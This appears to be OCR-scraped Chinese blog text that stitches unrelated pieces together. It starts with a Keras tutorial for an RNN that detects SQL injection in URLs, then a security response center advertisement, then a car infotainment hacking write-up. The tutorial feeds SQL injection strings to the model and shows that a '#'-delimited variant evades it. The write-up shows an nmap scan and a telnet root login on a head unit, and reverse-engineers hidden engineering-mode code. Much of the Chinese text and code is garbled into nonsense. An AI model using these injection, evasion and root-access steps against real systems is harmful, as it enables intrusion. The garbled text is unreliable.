key=lambda word: word_count[word],
reverse=True)

return sorted distinct words

vocabulary = get vocabulary(intrusive_sequences)
print('=EX/)\: ', len(vocabulary))

sEk/N: 1634

Fefilie 128 SHENAE, (REATLUEEZHED,
vocabulary = vocabulary[:128]

BT FH, BAIMAILUSFBRINFYSERETFRIFY: BFHFHREF

FRFER, MREFEPHARIZFRFE, A <unknown>' RY,
def get_input(sequence, vocabulary):
"""Convert sequence of words to the sequence of indices of
the words in the vocabulary."""
input_ = ]
for word in sequence:
if word in vocabulary:
input_.append(vocabulary.index(word)+1)
else:
input_.append(vocabulary.index('<unknown>")+1)
return np.array(input_, dtype="'int32')

BRI EREN

TERERZH, BAEX R AMEFR, FABRIINESFEAITEER, FINESFER

FASE 'www.nowhere.com/somewhere/something=select...' X#FEAJIEK, BEEAE
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27 "EAREMR" #E "select”, BEMESGIZNI. ATIHERZFSX—RQ, BIERIE
BEASRME. B0, LU—ElE=pEitBEE RGN EERIERBERFAYAE.

def randomly substitute(sequence, words, probability):
"""Randomly substitute the elements in the ‘sequence’ by the elements
in ‘words’ with probability "probability’.

Args:
sequence:
List of strings.
words:
Iterable of strings.
probability:
Float between '0" and 1" (including the boundaries).

Returns:
List of strings.

substituted sequence =]
for s in sequence:
if np.random.random() < probability:
random_word = np.random.choice(words)
substituted sequence.append(random_word)
else:
substituted sequence.append(s)
return substituted sequence

aggressive_words = get sorted distinct words(intrusive_sequences)
most_aggresive_ words= aggressive_words[:64]
normal_sequences = [
randomly_substitute( , most_aggresive_words, probability=0.25)
for _in normal_sequences

X, BlIHIRE T EFRITIZR:
x = ( [get input(, vocabulary) for _in intrusive sequences]
+ [get_input(_, vocabulary) for _in normal sequences] )
y = ( [1.for _inintrusive sequences]
+ [0. for _in normal sequences] )
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Hrf x SERENBASUE, v SEFNHETE. FADISGEE, FRELRT8eEI
Sl

FA 0 BWAFFIER (pad) ZEREANKE, LM#A numpy.ndarray, EBBLEIXIF
AT HITH)IGRE, REME, (BB y 6 numpy.ndarray, )

from keras.preprocessing.sequence import pad_sequences

x = pad_sequences(x)
print('x BIFZIK: ', x.shape)

y = np.array(y, dtype="float32’)

X BOFZKR: (2048, 688)
Ria, BUBFEUES RN, —DBEFEIE, B—HBEW.

from sklearn.model selection import train_test split

X_train, x_test, y train, y test =\
train_test split(x, y, test size=0.25, shuffle=True)

print( IEFRREALLH: {0:.0f} / {1:.0f} .format(np.sum(y), len(y)-np.sum(y)))

IERREALLF: 1024 /1024

HEIEIRE

Keras iL{REIEAIGEEIRBIAR—IFER, £ keras RYSUIEER, B 30 #HERE
R IR HEBIRYSL], REESLHML keras.models.Sequential, ZAFELERIN (add) &
NEFAT,

1. BERERNE (keras.layers.Embedding) , ERNBEXERIFIIRBAZREXE
HF5, &

[(1,2,3),4°5,6),..]1->1[3.1,26, 2.5), (1.4, 1.7, 1.5), ...]

2. ETKZ RNN B, BBREFJIRBKEE, &

[(3.1,2.6,25), (1.4,1.7,1.5), ..] -> (5.6, 2.9, 1.7, 1.0)

FAKA keras.layers.GRU, {REETLAFAEER RNN Z, a0 keras.layers.LSTM) ;
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3. BESEMEZAXKLE Dropout = (keras.layers.Dropout) , 2FHLEIHISHE
FER;
4, RERHHBE ((BEM keras.layers.Dense) , HiHAITHIERAIMER,

from keras.models import Sequential
from keras.layers import Embedding, GRU, Dropout, Dense

Keras B/ oY backends: Theano #J TensorFlow, ERIAE TensorFlow, {Ra]
LUEREHIT—, XBENRATREERETHA. FAWEAEOARE, B) TensorFlow fE
73 keras B9 backend,

1815 keras A ERIHES ( “Sequence classification with LSTM”  #3%3) , 18—
ANERLEIYLE -

def build_ model(vocabulary, embed _dims, n_rnns, dropouts):
"""Build the intrusion-detect-system model with keras.

Args:
vocabulary:
List of strings.
embed dims:
Integer, as the dimension of Embedding.
n_rnns:
Integer, as the number of perceptrons in the RNN cell.
dropouts:
Tuple of two floats between 0" and "1, as the dropout
ratio within or between layers.

Returns:
A keras ‘Sequential instance.

model = Sequential()

model.add(Embedding(len(vocabulary)+1, embed dims))
model.add(GRU(n_rnns, recurrent_dropout=dropouts[0]))
model.add(Dropout(dropouts[1]))

# FARBH—UE, FrLigHESRET N 1T

# NERXMNENT 0" #1 "1 ZiE, FrLAA ‘sigmoid” B EEL
model.add(Dense(1, activation="sigmoid"))

# EAAEINBTEIERE 0 M 1" WME, FrLAE
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# “binary_crossentropy” {EXRKERER
model.compile(loss="binary _crossentropy’,

optimizer="rmsprop’, metrics=['accuracy'])
return model

2K, (RYLASHEMNSERAVER, Hli0Z RNN ERHRERME:

model.add(Embedding(len(vocabulary)+1, embed dims))
model.add(GRU(n_rnns[0], recurrent_dropout=dropouts[0]))
model.add(Dropout(dropouts[1]))

# S /TR 100 &, 5% 100 RNN EHUHEME; FlansE 100 2:
model.add(GRU(n_rnns[99], recurrent_dropout=dropouts[2*99]))
model.add(Dropout(dropouts[2*99+1]))
model.add(Dense(1, activation="sigmoid"))

XEBFNRBENF, —EET.
FeREEIRLESEL:
model = build_ model(vocabulary, embed dims=32,
n_rnns=32, dropouts=(0.9,0.9))
# 1R
model.summary()

Layer (type) Output Shape Param #
enbedding 1 (Embedding)  (None, Nome, 32) 4128
gru_1 (GRU) (None, 32) 6240
dropout_1 (Dropout) (None, 32) %

dense_1 (Dense) (None, 1) 33

Total params: 10,401
Trainable params: 10,401
Non-trainable params: ©
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HA VN GRETRTE D H— /M FSISEEERE, R AR T RISESE /9 SEbm) | SREuER) | 14542
B, BiE5c—iE (epoch) SFRIGEGE, MHERIEERERIEEIE LAYRK (loss) . 4
REFMEREESLIR)|4E0E_ EROMRAS E, EIEEEE ERRARAIERTT, Bkl RETT

AF I LR GEIRPIISE T (BIRETEUS) XL

(keras.callbacks.EarlyStopping BJLABZIEHRM)
from keras.callbacks import EarlyStopping

model.fit(x_train, y train, validation split=0.25, verbose=2,

epochs=100, batch size=128, callbacks=[EarlyStopping()])

Train on 1152 samples, validate on 384 samples

Epoch 1/100

- 10s - loss: 0.7378 - acc: 0.5182 - val loss: 0.6882 - val _acc: 0.7292

Epoch 2/100

- 9s - loss: 0.7105 - acc: 0.5434 - val loss: 0.6848 - val acc: 0.7865

Epoch 3/100

- 9s - loss: 0.7280 - acc:
Epoch 4/100

- 9s - loss: 0.7143 - acc:
Epoch 5/100

- 9s - loss: 0.7103 - acc:
Epoch 6/100

- 9s - loss: 0.7267 - acc:
Epoch 7/100

- 9s - loss: 0.7167 - acc:
Epoch 8/100

- 9s - loss: 0.7163 - acc:
Epoch 9/100

- 9s - loss: 0.7096 - acc:
Epoch 10/100

- 9s - loss: 0.7078 - acc:
Epoch 11/100

- 9s - loss: 0.6858 - acc:
Epoch 12/100

- 9s - loss: 0.6885 - acc:
Epoch 13/100

0.5781 - val loss:
0.5773 - val loss:
0.5729 - val loss:
0.6207 - val loss:
0.6085 - val loss:
0.6189 - val loss:
0.6033 - val loss:
0.6328 - val loss:

0.6571 - val loss:

0.6502 - val _loss

:0.6485 - val acc:
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0.6813 - val acc:
0.6782 - val acc:
0.6750 - val acc:
0.6714 - val acc:
0.6685 - val acc:
0.6650 - val acc:
0.6613 - val acc:
0.6574 - val _acc:

0.6531 - val acc:

0.8125

0.8229

0.8229

0.8229

0.8125

0.8177

0.8229

0.8307

0.8333

0.8333
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- 9s - loss: 0.6848 - acc:

Epoch 14/100

- 9s - loss: 0.6716 - acc:

Epoch 15/100

- 9s - loss: 0.6724 - acc:

Epoch 16/100

- 9s - loss: 0.6600 - acc:

Epoch 17/100

- 9s - loss: 0.6611 - acc:

Epoch 18/100

- 9s - loss: 0.6532 - acc:

Epoch 19/100

- 9s - loss: 0.6620 - acc:

Epoch 20/100

- 9s - loss: 0.6432 - acc:

Epoch 21/100

- 9s - loss: 0.6288 - acc:

Epoch 22/100

- 9s - loss: 0.6327 - acc:

Epoch 23/100

- 9s - loss: 0.6136 - acc:

Epoch 24/100

- 9s - loss: 0.6346 - acc:

Epoch 25/100

- 9s - loss: 0.6218 - acc:

Epoch 26/100

- 9s - loss: 0.6194 - acc:

Epoch 27/100

- 9s - loss: 0.6135 - acc:

Epoch 28/100

- 9s - loss: 0.6287 - acc:

Epoch 29/100

- 9s - loss: 0.5863 - acc:

Epoch 30/100

- 9s - loss: 0.6130 - acc:

Epoch 31/100

- 9s - loss: 0.5897 - acc:

Epoch 32/100

0.6406 - val loss:
0.6580 - val loss:
0.6641 - val loss:
0.6892 - val loss:
0.6953 - val loss:
0.6997 - val loss:
0.7023 - val loss:
0.6936 - val loss:
0.7214 - val loss:
0.7170 - val loss:
0.7205 - val loss:
0.7031 - val loss:
0.7118 - val loss:
0.7274 - val loss:
0.7161 - val_loss:
0.7075 - val loss:
0.7448 - val loss:

0.7457 - val loss:

0.7318 - val _loss

:0.5208 - val acc:
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0.6441 - val acc:
0.6396 - val acc:
0.6343 - val acc:
0.6284 - val acc:
0.6219 - val acc:
0.6159 - val acc:
0.6091 - val acc:
0.6035 - val acc:
0.5958 - val acc:
0.5880 - val acc:
0.5794 - val acc:
0.5723 - val acc:
0.5645 - val acc:
0.5588 - val acc:
0.5519 - val acc:
0.5443 - val acc:
0.5362 - val _acc:

0.5287 - val _acc:

0.8385

0.8411

0.8411

0.8438

0.8438

0.8464

0.8438

0.8438

0.8438

0.8385

0.8411

0.8438

0.8411

0.8359

0.8464

0.8542

0.8542

0.8542

0.8542
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- 9s - loss: 0.6048 - acc:

Epoch 33/100

- 9s - loss: 0.5660 - acc:

Epoch 34/100

- 9s - loss: 0.5713 - acc:

Epoch 35/100

- 9s - loss: 0.5652 - acc:

Epoch 36/100

- 9s - loss: 0.5612 - acc:

Epoch 37/100

- 9s - loss: 0.5368 - acc:

Epoch 38/100

- 9s - loss: 0.5478 - acc:

Epoch 39/100

- 9s - loss: 0.5427 - acc:

Epoch 40/100

- 9s - loss: 0.5365 - acc:

Epoch 41/100

- 9s - loss: 0.5270 - acc:

Epoch 42/100

- 9s - loss: 0.5202 - acc:

Epoch 43/100

- 9s - loss: 0.5113 - acc:

Epoch 44/100

- 9s - loss: 0.4822 - acc:

Epoch 45/100

- 9s - loss: 0.5015 - acc:

Epoch 46/100

- 9s - loss: 0.4850 - acc:

Epoch 47/100

- 9s - loss: 0.4661 - acc:

Epoch 48/100

- 9s - loss: 0.4648 - acc:

Epoch 49/100

- 9s - loss: 0.4840 - acc:

Epoch 50/100

- 9s - loss: 0.4593 - acc:

Epoch 51/100

0.7300 - val loss:
0.7535 - val loss:
0.7405 - val loss:
0.7344 - val loss:
0.7361 - val loss:
0.7535 - val loss:
0.7448 - val loss:
0.7587 - val loss:
0.7691 - val loss:
0.7604 - val loss:
0.7639 - val loss:
0.7778 - val loss:
0.8030 - val loss:
0.7934 - val loss:
0.7839 - val loss:
0.7995 - val loss:
0.7830 - val loss:

0.7917 - val loss:

0.7986 - val _loss

:0.3619 - val acc:
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0.5135 - val acc:
0.5038 - val acc:
0.4948 - val acc:
0.4867 - val acc:
0.4792 - val acc:
0.4690 - val acc:
0.4597 - val acc:
0.4487 - val acc:
0.4402 - val acc:
0.4323 - val acc:
0.4241 - val acc:
0.4162 - val acc:
0.4069 - val acc:
0.3994 - val acc:
0.3923 - val acc:
0.3831 - val acc:
0.3761 - val acc:

0.3730 - val _acc:

0.8542

0.8490

0.8516

0.8542

0.8776

0.8776

0.8802

0.8802

0.8802

0.8802

0.8750

0.8750

0.8776

0.8776

0.8776

0.8776

0.8776

0.8776

0.8776
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- 9s - loss: 0.4485 - acc:
Epoch 52/100

- 9s - loss: 0.4581 - acc:
Epoch 53/100

- 9s - loss: 0.4596 - acc:
Epoch 54/100

- 9s - loss: 0.4206 - acc:
Epoch 55/100

- 9s - loss: 0.4345 - acc:
Epoch 56/100

- 9s - loss: 0.4235 - acc:
Epoch 57/100

- 9s - loss: 0.4375 - acc:
Epoch 58/100

- 9s - loss: 0.4314 - acc:
Epoch 59/100

- 9s - loss: 0.4269 - acc:
Epoch 60/100

- 9s - loss: 0.4181 - acc:
Epoch 61/100

- 9s - loss: 0.4175 - acc:
Epoch 62/100

- 9s - loss: 0.4053 - acc:
Epoch 63/100

- 9s - loss: 0.3957 - acc:
Epoch 64/100

- 9s - loss: 0.4130 - acc:
Epoch 65/100

- 9s - loss: 0.3945 - acc:

0.8082 - val loss:
0.8212 - val loss:
0.8281 - val loss:
0.8281 - val loss:
0.8160 - val loss:
0.8212 - val loss:
0.8151 - val loss:
0.8229 - val loss:
0.8151 - val loss:
0.8229 - val loss:
0.8342 - val loss:
0.8307 - val loss:
0.8316 - val loss:
0.8281 - val loss:

0.8429 - val loss:

<keras.callbacks.History at 0x164519b0>
REENREE L EEEERNT:

loss, accuracy = model.evaluate(x test, y test, batch size=128, verbose=0)
print(#&EEENRREGE_EAOEREER: {0:.0f} %' .format(accuracy*100))

HREENH SR CRYERRSR . 86 %
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0.3550 - val acc:
0.3498 - val acc:
0.3449 - val acc:
0.3384 - val acc:
0.3332 - val acc:
0.3324 - val acc:
0.3267 - val acc:
0.3219 - val acc:
0.3182 - val acc:
0.3168 - val acc:
0.3115 - val acc:
0.3069 - val acc:
0.2992 - val acc:
0.2957 - val acc:

0.2962 - val acc:

0.8802

0.8776

0.8802

0.8802

0.8802

0.8802

0.8828

0.8828

0.8802

0.8776

0.8776

0.8776

0.8776

0.8776

0.8802
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=
EEBX

|
U

k=

n_rn

e

MEREBH, EREER "RiF" |, MAR "F" . XRIER, BAEERNSHEELR

RIFHY. AT IR R Z RS,

iAs

E2EBEWANERAT, FETRKIINER., B3R E, B NHEMUEEKB5)
SIRISEIFHIRER,

FAMERERRRY hyperopt &%, Hyperopt (£ TPE (—FIMHEMLHKER) | XRE
NETERRE, eNERAETUSEXEES, H5LL hyperopt BCHINIHEL,
BSSEEN "objective” HE, HEERHAIERISEL, HlA0 RNN AUETIE
ns, HEH—MERIVEER/IMEBNE, XERNBERENINEUE_ ERYERZRIGE (3
Rt SRR AUE LRYUERZR, 2R rTEf#EREY) .

def get objective(x train, y train, x_test, y test, vocabulary, epochs):

"""Get the function that is to be minimized."""

def objective(embed dims, n_rnns, d1, d2):
"""To be minimized. 'd1" and 'd2" are the dropouts."""
try:
embed dims, n_rnns, dropouts = convert_args(
embed dims, n_rnns, d1, d2)

# [BEAltESE FEAAES
model = build_model(vocabulary, embed dims, n_rnns, dropouts)
model.fit(
x_train, y _train, validation_split=0.25, epochs=epochs,
batch_size=128, callbacks=[EarlyStopping()], verbose=0)
_, accuracy = model.evaluate(
X_test, y test, batch size=128, verbose=0)

# B/IME -1 * accuracy’

return {
'loss': -1. * accuracy,
'status': 'ok’,

}

except Exception as e:
# 5 exception tHiBR Tk
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return {
‘exception’: str(e),
'status': 'fail’,

}

return objective

def convert_args(embed dims, n_rnns, d1, d2):
"""Convert arguments to those of the funciton "build model’."""
# Hyperopt BKiAfEi% float F objective &, FRLAZEEFahGHEER int
# FE d1° 1 d2 118
embed _dims = int(embed dims)
n_rnns = int(n_rnns)
dropouts = (d1, d2)
return embed dims, n_rnns, dropouts

objective = get _objective(x train, y train, x_test, y test,
vocabulary, epochs=10)

hyperopt.Trials iERFFEESHIZIA, hyperopt.tpe NRIEESHTIRIRESH=IN
FERRLEHTIRNSHE. ETRENASHRE, ERHITRKAS, FEERSHEAN
By trials =

from copy import deepcopy
from hyperopt import Trials, tpe

def fine_tuning(objective, space, trials):
"""Fine-tuning ONCE, by searching the ‘space’ using TPE algorithm,
so that the objective can be minimized. And then log this fine-tuning
trial to “trials’.

Args:

objective:

Callable.
space:

Dictionary of "hp" objects.
trials:

‘Trials™ object.
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Returns:
A new Trials" object that logs both the trials in “trials’ and
this new trial.

_trials = deepcopy(trials)
_trials.fmin(
fn=lambda kwargs: objective(**kwargs),
Space=space,
algo=tpe.suggest,
max_evals=len(_ trials.trials)+1, # update only once.

)

return _trials

Hyperopt £t hp RIREENFAIENX SERHEERT(E], Hlan
hp.quniform('embed dims', 4, 32, 1) EX T5#{ embed dims AEESTE, H/IMER 4,
BAER 32, ERA 1, FHEFEEERIHERRISEREIIHRR. XBERAIEEET—
Lo, REAUSRAIESEE, EFETE, NR—ESHAK, BSFENERSIEN,

TRAJRERLIR T {RNZBRIR.
from hyperopt import hp

space = {
‘embed dims":
hp.quniform('embed _dims', 4, 32, 1),
'n_rnns’:
hp.quniform('n_rnns’, 4, 32, 1),
d1”:
hp.quniform('d1’, 0.1, 1.0, 0.1),
'd2":
hp.quniform('d2', 0.1, 1.0, 0.1),

—BEAIENF THEER/IMLE objective REY, LAREBRISHATEE, #MeTLUH#TAE

27, BAEEIE— Trials (SFERZAREFN, RFELEREF T trials A9IE) :
import pickle

save _path = 'dat/trials.pkl’
try:
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with open(save path, 'rb’) as f:
trials = pickle.load(f)
except FileNotFoundError:
trials = Trials()

WEHIT 20 XiAS, TR, BXESEEERN, FIAESXEASZE, #2550
R (trails) REFTEK.
print(BREFRIES T, RITHIFEEE")

n_trials = 20
foriin range(n _trials):
trials = fine_tuning(objective, space, trials)
# BIRRASHNEREEERMY
with open(save path, 'wb') as f:
pickle.dump(trials, f)
print(B5ersE {} /XEZ" .format(len(trials.trials)))

best trial = trials.best trial
print(best trial)

BREFRES T, (TR ER

{'state": 2, 'tid": O, 'spec': None, 'result": {'loss": -0.982421875, 'status’: 'ok'}, 'misc': {'tid":

0, 'emd': ('domain_attachment’, 'FMinlter Domain'), 'workdir': None, 'idxs": {'d1": [0],

'd2": [0], 'embed dims'": [0], 'n_rnns'": [0]}, 'vals': {'d1": [0.2], 'd2"

[0.30000000000000004], 'embed _dims': [17.0], 'n_rnns': [27.0]}}, 'exp_key': None,

‘owner': None, 'version': 0, 'book_time'": datetime.datetime(2018, 2, 27, 6, 39, 33,

188000), 'refresh_time': datetime.datetime(2018, 2, 27, 6, 40, 44, 502000)}
EERSZFRIER:

# BSEEMN best trial’ HPiEVHEK

best trial_kwargs = {k: v[0] for k, v in best_trial['misc']['vals'].items()}

embed _dims, n_rnns, dropout = convert_args(**best _trial kwargs)

# ARNSEHEIE. )I5HRE

model = build_model(vocabulary, embed _dims, n_rnns, dropout)

model.fit(x_train, y train, validation split=0.25, verbose=2,
epochs=100, batch size=128, callbacks=[EarlyStopping()])
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#

, accuracy = model.evaluate(x _test, y test, batch size=128, verbose=0)

E)rint('*E@Ei)ﬂﬂii\fé’ﬁ&tﬁ’ﬂ)&ﬁ%%ﬁ: {0:.3f} %' .format(accuracy*100))

Train on 1152 samples, validate on 384 samples

Epoch 1/100

- 8s - loss: 0.6857 - acc:
Epoch 2/100

- 7s - loss: 0.6674 - acc:
Epoch 3/100

- 7s - loss: 0.6322 - acc:
Epoch 4/100

- 7s - loss: 0.5331 - acc:
Epoch 5/100

- 8s - loss: 0.3111 - acc:
Epoch 6/100

- 7s - loss: 0.2022 - acc:
Epoch 7/100

- 7s - loss: 0.1617 - acc:
Epoch 8/100

- 7s - loss: 0.1382 - acc:
Epoch 9/100

- 7s - loss: 0.1282 - acc:
Epoch 10/100

- 7s - loss: 0.1198 - acc:
Epoch 11/100

- 7s - loss: 0.1088 - acc:
Epoch 12/100

- 7s - loss: 0.0960 - acc:
Epoch 13/100

- 7s - loss: 0.0846 - acc:
Epoch 14/100

- 7s - loss: 0.0894 - acc:
Epoch 15/100

- 7s - loss: 0.0731 - acc:
Epoch 16/100

- 7s - loss: 0.0774 - acc:
Epoch 17/100

0.5816 - val loss
0.8420 - val loss
0.8646 - val loss
0.9028 - val loss
0.9479 - val loss
0.9601 - val loss
0.9705 - val loss
0.9722 - val loss
0.9740 - val loss
0.9714 - val loss
0.9748 - val _loss
0.9748 - val _loss
0.9774 - val _loss
0.9774 - val _loss
0.9809 - val loss

0.9809 - val loss

:0.6776 - val acc:
:0.6524 - val acc:
:0.5975 - val acc:
:0.4259 - val acc:
:0.2152 - val acc:
:0.1743 - val acc:
:0.1510 - val acc:
:0.1436 - val acc:
:0.1291 - val acc:
:0.1275 - val_acc:
:0.1158 - val _acc:
:0.1098 - val _acc:
:0.0993 - val acc:
:0.0935 - val acc:
:0.0880 - val _acc:

:0.0818 - val _acc:
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0.9688
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- 7s - loss: 0.0631 - acc: 0.9818 - val loss: 0.0781 - val acc: 0.9661
Epoch 18/100
- 7s - loss: 0.0602 - acc: 0.9818 - val loss: 0.0747 - val acc: 0.9688
Epoch 19/100
- 7s - loss: 0.0645 - acc: 0.9809 - val loss: 0.0662 - val acc: 0.9661
Epoch 20/100
- 7s - loss: 0.0626 - acc: 0.9826 - val loss: 0.0693 - val acc: 0.9661
REENH R ERYEREER . 98.242 %
ERRFET?
Mzt
HTBERENENFIRITZRRLR, RIS —NER, FEREHA

—MNAS—MIATT S, BENBRIFIITESR,
def test request(model, request):
sequence = request_to_sequence(request)
sequences = [[]]
for word in sequence:
new _sequence = sequences[-1] + [word]
sequences.append(new_sequence)
inputs = pad_sequences([get_input(_, vocabulary) for _in sequences])
predictions = model.predict(inputs)
print( 2IEAIHEE | BK (8F9) )
for i, seq in enumerate(sequences):
pred = predictions[i,0]
pred_percent = int(pred*100)
print"  {0:A2} % | {1} .format(pred_percent, ".join(seq)))

W 1: FBE—NIEBRKEHEIER
test_request(model,
'‘www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND

/**/others--")

RUHIER | 1Bk (#B2)
7 % |
4 % | www
9 % | www.
5 % | www.nowhere
10 % | www.nowhere.
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6 %
13 %
9 %
19 %
14 %
11 %
8 %
18 %
35 %
56 %
77 %
77 %
88 %
94 %
97 %
98 %
99 %

www.nowhere.com

www.nowhere.com/

www.nowhere.com/somewhere

www.nowhere.com/somewhere/
www.nowhere.com/somewhere/something
www.nowhere.com/somewhere/something=
www.nowhere.com/somewhere/something=UNION
www.nowhere.com/somewhere/something=UNION/
www.nowhere.com/somewhere/something=UNION/*
www.nowhere.com/somewhere/something=UNION/**
www.nowhere.com/somewhere/something=UNION/**/
www.nowhere.com/somewhere/something=UNION/**/SELECT
www.nowhere.com/somewhere/something=UNION/**/SELECT/
www.nowhere.com/somewhere/something=UNION/**/SELECT/*
www.nowhere.com/somewhere/something=UNION/**/SELECT/**
www.nowhere.com/somewhere/something=UNION/**/SELECT/**/

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever

99 %

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/

99 %

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/*

99 %

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**

99 %

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/

99 %

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND

99 %

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND

/
99 %

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND

/*

99 %

www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND

/~k~k
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99 % |
www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND
/**/

99 % |
www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND
/**/others

99 % |
www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND
/**/others

99 % |
www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND
/**/others gang_gang

99 % |
www.nowhere.com/somewhere/something=UNION/**/SELECT/**/whatever/**/AND
/**/others gang_gang

& LEXHRLATT: ERAZ UNION/**/ BY, HENEAAR—IIEIER (HfEEE
50%) .
Wi 2: FRM—RNEEE, (EEBERAEERES

test_request(model,
‘www.nowhere.com/somewhere/something=UNION#SELECT#whatever#AND#other

5--')

RUHIVER | 1Bk (#2)

8 % |

5 % | www

10 % | www.

6 % | www.nowhere

11 % | www.nowhere.

6 % | www.nowhere.com

14 % www.nowhere.com/

10 % www.nowhere.com/somewhere

I
I
21 % | www.nowhere.com/somewhere/
I
I

16 % www.nowhere.com/somewhere/something

12 % www.nowhere.com/somewhere/something=

9 % | www.nowhere.com/somewhere/something=UNION

6 % | www.nowhere.com/somewhere/something=UNION#

4 % | www.nowhere.com/somewhere/something=UNION#SELECT
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3 % | www.nowhere.com/somewhere/something=UNION#SELECT#

2 % |
www.nowhere.com/somewhere/something=UNION#SELECT#whatever

1 % |
www.nowhere.com/somewhere/something=UNION#SELECT#whatever#

1 % |
www.nowhere.com/somewhere/something=UNION#SELECT#whatever#AND

1 % |
www.nowhere.com/somewhere/something=UNION#SELECT#whatever#AND#

1 % |
www.nowhere.com/somewhere/something=UNION#SELECT#whatever#AND#others

7 % |
www.nowhere.com/somewhere/something=UNION#SELECT#whatever#AND#others

16 % |
www.nowhere.com/somewhere/something=UNION#SELECT#whatever#AND#others
gang_gang

42 % |
www.nowhere.com/somewhere/something=UNION#SELECT#whatever#AND#others
gang_gang

HOSC, ARG (IR ) ANRREANKEER (R —B7E 50% UTT).

BE

BAIEB T A2
1. EEHE (BAUESY)
2. HUETALIR (FHARRT—LE)
3. TEEMEEL (FERS 30 B)
4, BZ (HLEITNET)
5. Wit (ERAksF, ERIRIR)
XElemaEmg (BEERE—RISREIRE) NEEER.
fesas SRC 748
ERESLeNaNER F M VIP Security Response Center, f&#R VSRC), EREXE SR

WEZ2ERFEEN, —EEOTRERFEERE, BRZEURENG LWYITFE, IFE
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WS AR R SRR G SRR, BIMERRZEEN,
VSRC iRl S5 eE BfEEmEmil. mIRtRE. MmsIFRES.

TRIREAZMILE: https://sec.vip.com
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1IC—REMiREEM S
{E& . CarSRC

[R3ERE: [R£Z=] https://www.anquanke.com/post/id/145028

1. HAREN

FHENRLEE S EEANFERERIR A mIER, VA L EREIIASE,
EEHNR (ESEF) (NEREN. TEEMARSE. R, BITEE. kAR, i55E
#l. IEERER. . 3G EN. FRER. BB, TR, LRSS R, BLBEE. MEHR
M. 7ELZE/0. APP Store ZIhAE,

2, ENRZERE

AT EHERRRAGMEET RN ERTERIR RS, FRLURHEIRGE
RIREEHREZ, MRS ER 2 ARE IR I .

BE W EERE S WSR2 RS

1. RAASEREFERNZRER, XLRmAREIEMTEBHIT, AR EE S
RS ETERE.

2. RBEISTRPIMEEN, REGENKNEERFEEMN AN, TRER BN ERER
IRRARGTHITRE.

3. B=HNAAREFELRERRE, FEEEME. EFEE. NASNEXE,

E5h, FHERIRARRAFNEENES S, RARILEBER. PKl IEBERSHREER

T,
3. Mgz
R AENURRAERS, WE:
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222018 T4 2 17
-
HEAIThaE

IZENARFEKA linux Rz, BEX TED

Nz ﬁi@,}iﬁAppManager FINEFRILE.

BB
e

&z WiFi, ®IFB nmap 33 AIIHR 7 XE2iwHA

- ~ sudo nmap -sT -p- 1-6553%¢

Starting Nmap 6.49BETA6 ( https://nmap.org ) at &
Nmap scan report for
Host is up (0.041s latency).

Not shown:

2007/tcp
2008/tcp
2009/tcp
2010/tcp
5000/tcp
43412/tcp
54256/tcp

MAC Address:

=EBEOL, HiR

WnEl:

65518 ¢
STATE
filtered
filtered
filtered
open
filtered
filtered
filtered
open
open
open
open
open
open
open
open
open
open
Lr

losed ports
SERVICE
ftp-data
ftp

ssh

telnet
finger
ident
login
Ccisco-sccp
globe
deslogin
dectalk
conf

news
search
upnp
unknown
unknown
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- ~ telnet

Trying

Connected to

Escape character is 'A]".

(¥ am B .Y login: root
Password:
root@ed @ M & ~$ help

GNU bash, version Z.Md . § 7= Pelease (armv7-unknown-linux-gnu)

These shell commands are defined internally.

Type “help name' to find out more about the function "name'.
Use “info bash' to find out more about the shell in general.

Use ‘man -k' or “info' to find out more about commands not in this list.

A star (*) next to a name means that the command is disabled.

%[DIGITS | WORD] [&]
filename
[ arg... ]
alias [-p] [name[=value] ... ]
bind [-1pvsPVS] [-m keymap] [-f fi
builtin [shell-builtin [arg ...]]
cd [-LI-P] [dir]
compgen [-abcdefgjksuv] [-o option
continue [n]
dirs [-clpv] [+N] [-N]
echo [-neE] [arg ...]
eval [arg ...]
e [n]
false
fg [job_spec]
for (( expl; exp2; exp3 )); do COM
etopts optstring name [ar

((C expression ))

[[ expression ]]

bg [job_spec]

break [n]

case WORD in [PATTERN [| PATTERN].
command [-pVv] command [arg ...]
complete [-abcdefgiksuv] [-pr] [-o
declare [-afFirtx] [-p] name[=valu
disown [-h] [-ar] [jobspec ...]
enable [-pnds] [-a] [-f filename]
exec [-c1] [-a name] file [redirec
export [-nf] [name[=value] ...] or
fc [-e ename] [-nlr] [first] [last
for NAME [in WORDS . do COMMA

HNENRS R, EERAFSH, HEWSA root fRIR:

175

Type “help' to see this list.



L2%=-2018 FHT-55 2 #8

- . - mmn e f
Ll Ty Fis PANL ALY o

.
BN AR D Lol ORE
L R LW LIR ;8 " Br-devi®

XAEFA I 7 BMERRAF AT LUTEERFNFENRSE, LA root IREBIEZEL.

EERIIHTEENN, REFENRERFHE, £ IDA pro HITERIESH. BEA
TR, s

H* R H\HA [\ AR\ H 5 $ 5k G sy \ Gtk g\ SristikN cpp STAERAS B TR
TR CRZZEE.

BT

K#2&F Engineering Mod, AIfEIZ 4 TA#RzUERIZIE

SEEK_UP # SEEK DOWN &3 Flag 58, % Flag 5 2 Bhi# \iBi5

EER T HOME #, 74T JumpToEngineeringModeScreen EREH N TIEE R H.

(BEBRSUIT: )
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vold TSetSound_SCM: :Jum

(STEP_SEEKDN = EnterEngMflag() )

EP_CLEAR);
gineeringtode: : ENGINEERINGMODEMAINMENU_SCN) 3

11 TClockTimer: :OnTimer(ITimers pTimer)
ID_NORET(m_pthis);
(pTimer)
(!m_pthis—sm_pClockTimer—:

m_pthis->m_pClockTimer—>

EHL“%?EWEI&ET BT EES TSN TIEERREAES, ErE:

nd_SCH: Jlmp'I'DFnJlanllnandF Screen{Settings::TSetSound_SCH =_ hidden this)
Nz lodeScreenEy
